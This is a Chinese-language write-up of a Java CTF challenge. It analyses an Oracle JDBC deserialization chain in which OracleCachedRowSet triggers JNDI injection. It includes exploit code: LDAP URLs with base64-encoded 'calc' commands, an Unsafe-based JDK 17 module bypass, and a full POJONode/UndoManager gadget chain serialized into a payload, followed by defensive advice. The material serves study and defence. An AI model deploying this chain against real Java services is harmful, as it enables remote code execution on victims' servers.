通过JDBCparty 对 oracle 利用链分析
字数 959 2025-08-22 12:23:24

Oracle JDBC 利用链分析

前言

本文详细分析通过JDBCParty对Oracle数据库利用链的技术细节,重点探讨Oracle JDBC驱动中存在的安全漏洞及其利用方式。该分析基于一个Java安全攻防赛题目,其中涉及Oracle JDBC驱动的特定利用链。

环境配置

依赖项分析

题目使用的关键依赖包括:

<dependency>
    <groupId>com.oracle.database.jdbc</groupId>
    <artifactId>ojdbc11</artifactId>
    <version>21.14.0.0</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jdbc</artifactId>
    <version>10.1.31</version>
</dependency>
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.37</version>
</dependency>

关键代码分析

题目核心控制器代码:

@PostMapping({"/dbtest"})
public ResponseEntity<String> dbtest(String data) {
    try {
        User credentials = (User) Utils.deserialize(data);
        Class.forName(this.driverClassName);
        Connection connection = DriverManager.getConnection(this.url, credentials.getUsername(), credentials.getPassword());
        // ...
    } catch (Exception e) {
        // ...
    }
}

漏洞利用链分析

Sink点分析

Oracle JDBC驱动中的OracleCachedRowSet类存在JNDI注入漏洞:

oracle.jdbc.rowset.OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==");
oracleCachedRowSet.getConnection();

关键调用链:

  1. getConnection()调用getConnectionInternal()
  2. 内部处理数据源名称时触发JNDI查找

JDK高版本绕过

在JDK 17等高版本中,需要特殊配置才能利用JNDI注入:

System.setProperty("oracle.jdbc.allowAbsoluteJNDIUrls", "true");

或者通过反射修改相关字段:

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = OracleSink.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);

利用链构造

完整利用链构造示例:

// 1. 创建OracleCachedRowSet并设置恶意LDAP URL
OracleCachedRowSet oracleCachedRowSet = (OracleCachedRowSet) UnSafeTools.newClass(Class.forName("oracle.jdbc.rowset.OracleCachedRowSet"));
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1/zETKBsNKJk/Plain/Exec/eyJjbWQiOiJjYWxjIn0=");

// 2. 通过反射设置必要字段
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock"), null);

Vector aaa = new Vector<>();
aaa.add(0);
Vector bbb = new Vector<>();
bbb.add("TEST");

UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"), aaa);
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"), bbb);
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getDeclaredField("metaData"), new String[]{"TEST"});

// 3. 包装为POJONode以触发getter方法
POJONode pojoNode = new POJONode(oracleCachedRowSet);

// 4. 构造最终利用对象
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager});

// 序列化并发送
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bao);
objectOutputStream.writeObject(list2);
String payload = Base64.getEncoder().encodeToString(bao.toByteArray());

触发机制分析

Jackson触发方式

利用POJONode触发getter方法:

  1. POJONode继承自BaseJsonNode,其toString()方法会调用InternalNodeMapper.nodeToString()
  2. ObjectWriter.writeValueAsString()方法会遍历bean对象的所有属性并调用getter方法
  3. 最终触发OracleCachedRowSetgetConnection()方法

其他触发方式

除了Jackson,还可以通过以下方式触发:

  1. Fastjson反序列化
  2. 直接调用getConnection()方法
  3. 通过其他会调用getter方法的框架或库

防御措施

  1. 升级Oracle JDBC驱动到最新版本
  2. 在JDK高版本中保持默认的JNDI限制(不设置oracle.jdbc.allowAbsoluteJNDIUrls
  3. 对反序列化操作进行严格的白名单控制
  4. 使用安全的JDBC连接池配置

总结

该利用链展示了Oracle JDBC驱动中OracleCachedRowSet类的安全问题,结合反序列化漏洞可以实现RCE。在高版本JDK环境下,虽然JNDI注入受到限制,但通过特定配置或反射修改仍可能被利用。开发者应关注此类安全问题,及时更新依赖并实施适当的安全防护措施。

Oracle JDBC 利用链分析 前言 本文详细分析通过JDBCParty对Oracle数据库利用链的技术细节,重点探讨Oracle JDBC驱动中存在的安全漏洞及其利用方式。该分析基于一个Java安全攻防赛题目,其中涉及Oracle JDBC驱动的特定利用链。 环境配置 依赖项分析 题目使用的关键依赖包括: 关键代码分析 题目核心控制器代码: 漏洞利用链分析 Sink点分析 Oracle JDBC驱动中的 OracleCachedRowSet 类存在JNDI注入漏洞: 关键调用链: getConnection() 调用 getConnectionInternal() 内部处理数据源名称时触发JNDI查找 JDK高版本绕过 在JDK 17等高版本中,需要特殊配置才能利用JNDI注入: 或者通过反射修改相关字段: 利用链构造 完整利用链构造示例: 触发机制分析 Jackson触发方式 利用 POJONode 触发getter方法: POJONode 继承自 BaseJsonNode ,其 toString() 方法会调用 InternalNodeMapper.nodeToString() ObjectWriter.writeValueAsString() 方法会遍历bean对象的所有属性并调用getter方法 最终触发 OracleCachedRowSet 的 getConnection() 方法 其他触发方式 除了Jackson,还可以通过以下方式触发: Fastjson反序列化 直接调用 getConnection() 方法 通过其他会调用getter方法的框架或库 防御措施 升级Oracle JDBC驱动到最新版本 在JDK高版本中保持默认的JNDI限制(不设置 oracle.jdbc.allowAbsoluteJNDIUrls ) 对反序列化操作进行严格的白名单控制 使用安全的JDBC连接池配置 总结 该利用链展示了Oracle JDBC驱动中 OracleCachedRowSet 类的安全问题,结合反序列化漏洞可以实现RCE。在高版本JDK环境下,虽然JNDI注入受到限制,但通过特定配置或反射修改仍可能被利用。开发者应关注此类安全问题,及时更新依赖并实施适当的安全防护措施。